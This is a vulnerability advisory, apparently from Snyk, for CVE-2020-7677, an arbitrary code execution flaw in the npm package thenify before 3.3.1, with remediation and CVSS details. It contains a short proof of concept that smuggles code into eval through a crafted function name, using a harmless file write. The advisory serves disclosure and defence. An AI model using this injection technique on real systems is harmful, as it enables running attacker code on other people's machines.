Arbitrary Code Execution

Affecting thenify package, versions <3.3.1

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

thenify is a Promisify a callback-based function using any-promise.

Affected versions of this package are vulnerable to Arbitrary Code Execution. The name argument provided to the package can be controlled by users without any sanitization, and this is provided to the eval function without any sanitization.

PoC

var a = require("thenify");
var attack_code = "fs=require('fs');fs.writeFile('Song', 'test',function(){})";
function cur(){};
Object.defineProperty(cur, "name", { value: "fake() {" + attack_code + ";})();(function(){//"});
a(cur);

Remediation

Upgrade thenify to version 3.3.1 or higher.

References

CVSS Score

8.6
high severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    Low
  • Availability
    Low
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L/E:P/RL:U/RC:C
Credit
JHU System Security Lab
CVE
CVE-2020-7677
CWE
CWE-78
Snyk ID
SNYK-JS-THENIFY-571690
Disclosed
15 Jun, 2020
Published
15 Jun, 2020